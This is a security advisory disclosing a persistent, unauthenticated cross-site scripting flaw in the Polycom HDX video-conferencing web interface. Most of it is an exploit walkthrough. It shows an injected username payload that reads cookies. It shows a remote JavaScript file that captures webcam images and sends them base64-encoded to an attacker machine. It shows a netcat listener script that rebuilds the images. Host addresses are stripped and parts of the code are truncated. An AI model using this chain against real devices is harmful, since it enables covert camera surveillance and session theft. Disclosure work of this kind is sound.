SSD Advisory – Polycom Video Conference Persistent and Unauthenticated XSS

Vulnerability Description
A persistent, pre-authenticated, cross site scripting vulnerability in Polycom HDX Web interface allows remote attackers to take over the camera and control it.

Proof of Concept
The web client of the Polycom HDX server is prone to cross site scripting injected using a crafted username of an incoming call.
Test Environment
SERVER (S): Polycom HDX 7001 – IP:
ATTACKER (A): Linux machine (Debian 3.14.5-1kali1 (2014-06-07)) – Hostname: Kali-PWK – IP:
CLIENT (C): every browser pointing to the Polycom webclient hosted on the “S” machine.
On “A” we use Ekiga as H323 client. We also have gconftool2 and gconf-editor in order to inject easily the attack-string in user name.
Example 1
On the “A” machine we make a call to “S” using the following string as username of the client

<b onclick=alert(document.cookie)>PERU</b>

We inject the string using gconf-editor in /apps/ekiga/general/personal_data/full_name
When an user logs in the web client, go to the “Recent Calls” and click on the username PERU the script is activated
In this PoC the cookie is displayed and an interaction is needed, but the operation can be implemented as in the next example.
Example 2
On “A” we start a web server (80 TCP) hosting the file 1.js
This is the full code of 1.js:

<!-- START -->
This is the remote JS loaded from the Polycom web interface
There are 2 main funtions:
- screen: force the polycom to generate screenshots from camera
- getBase64FromImageUrl: take an image on the polycom server, convert it in base64 and send it to a listener on my server (
function screen(){
    var f=document.createElement('iframe');
function getBase64FromImageUrl() {
    var img = new Image();
    img.onload = function () {
        var canvas = document.createElement("canvas");
        canvas.width =this.width;
        canvas.height =this.height;
        var ctx = canvas.getContext("2d");
        ctx.drawImage(this, 0, 0);
        var dataURL = canvas.toDataURL("image/png");
       /* This can be added for debug functions
       alert(dataURL.replace(/^data:image\/(png|jpg);base64,/, ""));
       document.location.replace(""+dataURL.replace(/^data:image\/(png|jpg);base64,/, ""));
    img.src = "http://";
/* Here for cicle can be implemented in order to capture image every X seconds */
setTimeout(getBase64FromImageUrl, 13000);
<!-- END -->

On “A” we also start a script ( that will recieve and collect image from the Polycom webcam. The script starts a listener on 2222 TCP (IMM04):

#This script collect the data sent from Polycom (base64 stings), and reconvert them in images
echo "I start a listener on TCP 2222 to get images:"
echo "This can take a while, till someone open the Polycom web interface."
mkdir images
#A loop can be implemented
#for ((i=1; i<11; i=i+1))
#Start a listener on 2222TCP and wait
nc -lp 2222 > /tmp/log &
sleep 0.5
while [ "$Q" = '' ]
echo -ne "waiting the image   "\\r
sleep 0.5
echo -ne "waiting the image.  "\\r
sleep 0.5
echo -ne "waiting the image.. "\\r
sleep 0.5
echo -ne "waiting the image..."\\r
sleep 0.5
Q=$(cat /tmp/log)
fuser -k 2222/tcp
echo ""
echo "I get the image"
#Adjust data and reconvert it in a PNG image
cat /tmp/log | grep GET | cut -d " " -f 2| cut -d "/" -f 2-10000|base64 -d > images/imm$(date +%d%m%y_%T).png
rm /tmp/log
sleep 0.5
echo "Script completed"
read a

Again in “A” we inject, using gconf-editor, this string in Ekiga username:

<iframe onload=function&nbsp;A(){var&nbsp;x=document.createElement('script');x.src='';document.body.appendChild(x);};A();></iframe>

This time, when an user go to the “Recent Calls”, no interaction is needed and the following operations are executed:

  • The JS in username download (IMG06)and execute the 1.js
  • 1.js takes the stored image of the webcam (near_image_1.jpg), converts it in base64 and sends it to “A” on port 2222
  • On “A” the reconverts it from base64 to image

Vulnerable Version
Polycom. Model: HDX 7000 HD. Hardware version: B. Software version: Release – 3.1.7-48092


Get in touch